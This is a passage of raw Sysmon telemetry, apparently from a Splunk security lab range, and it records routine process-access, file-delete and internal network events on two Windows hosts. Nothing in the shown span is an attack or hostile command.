15:06:36.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017861Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:36.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017860Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:36.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017859Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:36.074{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-747C-613B-3505-00000000F101}888C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017858Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:36.074{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-747C-613B-3505-00000000F101}888C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017857Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:36.075{625C326B-747C-613B-3505-00000000F101}888C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017872Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:37.996{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FAEE9AE20047B3F1B93E5145875A9DF3,SHA256=1D0F11B4F794AF473A42650FB3457DA0AEEC395CC764369FE056F248F27CA535,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:37.532{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C61716005329A318421E1BE83E8EAC60,SHA256=34EBE256EC0989B4B45143ED1C91D9634F5226AEE70BDC427987EA7DF2F1660C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000055685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:35.339{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63152-false10.0.1.12-8000- 23542300x800000000000000055687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:38.562{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E49F65A68001760F42DE2D3B144B01D0,SHA256=6CD80BC0E05790B214F2F02F705794CB3D5CC87FA9A3F4B97038D99F7820B74C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017873Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:36.520{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50383-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000055688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:39.594{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F1F2E31BC883D036D21574DAFE417CA4,SHA256=3912D3F95E092FA13B3147BDD6FA3A80F7E9A0EC48FE8B174211A46E97200327,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017874Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:39.012{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2007C0974CA562DA37A34E26D12CCC8A,SHA256=B8C2EDBDBE7B10D78BAC934BD9A0BC341412C41319B85997CC8AA362EA73DFA5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:40.693{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8058ACB033A1C8442D54AF66E86015E4,SHA256=57E0406CEC87A63FA03DF174589B8F3205BF080F8F96B29164F686AD265B95B5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017875Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:40.012{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F445F5CFEE11BD7D6C238837AB6B089F,SHA256=D05FF91FA92FD0A6997DE44AF99EF0D029F08D832084AFC5EA122A465F26FB26,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:37.362{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local63149-false104.46.162.226-443https 23542300x800000000000000055696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:41.745{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A8EE4D230E49DB46F776629C5C779043,SHA256=FC3C3E7B33AB47DA45AF9D29EFF80FEFADCB0C366963FE52493B059775AA44FE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017876Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:41.028{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4704E2F0B88963A02FA5DB8C6D5CFE7F,SHA256=D1975C9BD07F6E5400AFFBB826F0B6A61B029B1038C4A45FC1180BC933C99F2C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:41.474{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=94AB22DA0DFB861A8382B23FE320E197,SHA256=975D2D18F9AE7861441839521B94EEC4CB6A44A82B86EED415DE14DF429AFB40,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:41.474{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=EB813F1A60248FF02799840966536722,SHA256=C829E9372CBF1280318E4C08D994B1D9BD9E3C91527C6E473C4F28BE95B54703,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:41.474{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=1BAF28DFF2D08949B0167587C5704B8E,SHA256=D2F2A72F281E3E4DADF42DD7F892C4E48E0147E2CF4C94EE36C9779437175D75,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:41.474{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=74A7D394877F73160FD8517CE8F08709,SHA256=9C1533BDBF7CEB6B6272B42D0A04565A70386E314AF42FD264DE2CE44F920BD7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:41.474{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=70DD5B4533197389BEB232C84524C874,SHA256=E0DAD1C03FC18C4196AB9EAC0A33C755E0D198F786794F3C8FC28E03A3EEBB5F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:42.761{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=35F399B2106A92E35DA0FC2258DC8242,SHA256=280B6A953D954FF378D914F5A69DB83894825984F86415290310FB0B25B4DEDE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017877Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:42.074{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=228C71F28AFA9B4BB3D294669E8F5966,SHA256=F9AFC63F47FB44A09BB9F2F42FA4224E418F15AF055298EEBFC07A7C7D977191,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:43.775{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E3338AF91ACA7516EB95D42340D189E0,SHA256=1EAC880DFFE22EBE7DCD620E99B69407D03590A8790D05A5F2BAC76AD966EAC3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017879Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:42.442{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50384-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017878Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:43.137{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E47A2313D82CC2CA2DEC7AEA45DADC93,SHA256=33FC257367C82D7601712938E3C13E3AEC7CC796262E4DFB8ECEED6D752C8625,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:40.350{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63153-false10.0.1.12-8000- 23542300x800000000000000055700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:44.943{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E4EF03E52AD6CF16272894E1397B39B7,SHA256=AA8C6D5A6E0425036DC69E10B605C3DA973501316B1221C24B7A8F428D196507,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017880Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:44.153{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C85CCD1ED1AF96D793A08D227F9474F3,SHA256=5A5EF8C2E07DF20C20E4459CE4BAF63C9795BF284CFE68377CBB6F5608068896,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:45.959{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=48B4FBE66AB5CC9DF17FE44A3D1D06ED,SHA256=4070B3AEE730608C3AE3CC3D05A1DD751AEF0FEF554AD3CBB0DB0566B76D2A8E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017881Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:45.153{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AD21E2D3BDCBA08F575125A6709058DC,SHA256=5C5C0C53E3BE54DFDB6BB7BDBEE0C12B4863AE00BB29D26FF0F07D30C201D09A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:46.973{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=21A8BEA69AD4C10855685D5AE8E7D7CF,SHA256=D93415D3B09DE9C3E40EACE89BAD0E5B3F12E05F03B4B177539E0F1381C2327C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017882Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:46.168{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D3CAF6A920DE42656E330EB5A3553475,SHA256=3E25DD7B9CAE48B803D8A2F32CF234609164A52F10B7D98A89E3C6C888A507B1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:47.991{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=89587A2D92E87B2B130CA2C0DFF550D1,SHA256=F2A4BEDDA23696AE8D440F59F4789925F9A78B8531C9B1DF9898ABC18C9FACE1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017883Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:47.168{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AA73B724A6D97E5E7C477123A299733D,SHA256=C4C0861A7633C1AE62150674BE18456E9AB798F91331A8510A833A55F3C97113,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:45.365{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63154-false10.0.1.12-8000- 23542300x800000000000000017884Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:48.246{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=968E37FBF7AB9A41E754377043DD3666,SHA256=CD3E4E8F83C2F27951F439D98A85C56D6ECCA7E53DB132EB7EA5E4752B07344F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017886Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:48.442{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50385-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017885Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:49.278{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=74DA7C4E14CA42D5D6BC8306A8959D79,SHA256=7635ED0B14693FC2ADA3B79D92E1E4563EDC9AB44FDC2BB580A6928307D18288,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:49.027{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4FCCAF996DA4EE47262B4A1E18657E3A,SHA256=F7D4E5DCB5F48C01FBC069C1EC356F4F4F9AF5FD1DF65D9EF31213FCE7983CD8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017887Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:50.309{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C2720BA4283C5120C1853277AA6F93EA,SHA256=D8957A288F7EF274374B9C585108EA3DE1AE40EED621CDD846D8710741530D41,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:50.057{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=89E085D57BDF1C0B6D5C7712CC57F0FC,SHA256=EC404B0CC159B06C7BF45BB9ECAE558DE5A4D716D6C5AB0DD1D313BA004FC601,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017888Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:51.337{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=59C267EE1C601834B15B424D7F66C1B3,SHA256=83315511061B50DE559E9F08B9F768B61DFAD45D8E2135C7BD60F559A773DDA7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:51.072{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=68D473E76248485DADD24719C777EC38,SHA256=C72D681A4FCBE09D03A4EC450C6B9037BF8E38A47B3B2DB910C5DC2E3ACAD379,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017889Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:52.384{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4CA0C61BC3437CF36111C98802A181C5,SHA256=1D2499EAA363A38F3A80B9F659EF8BD2CEE02A104EFB9DD337943794EA2F5D8F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:50.431{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program 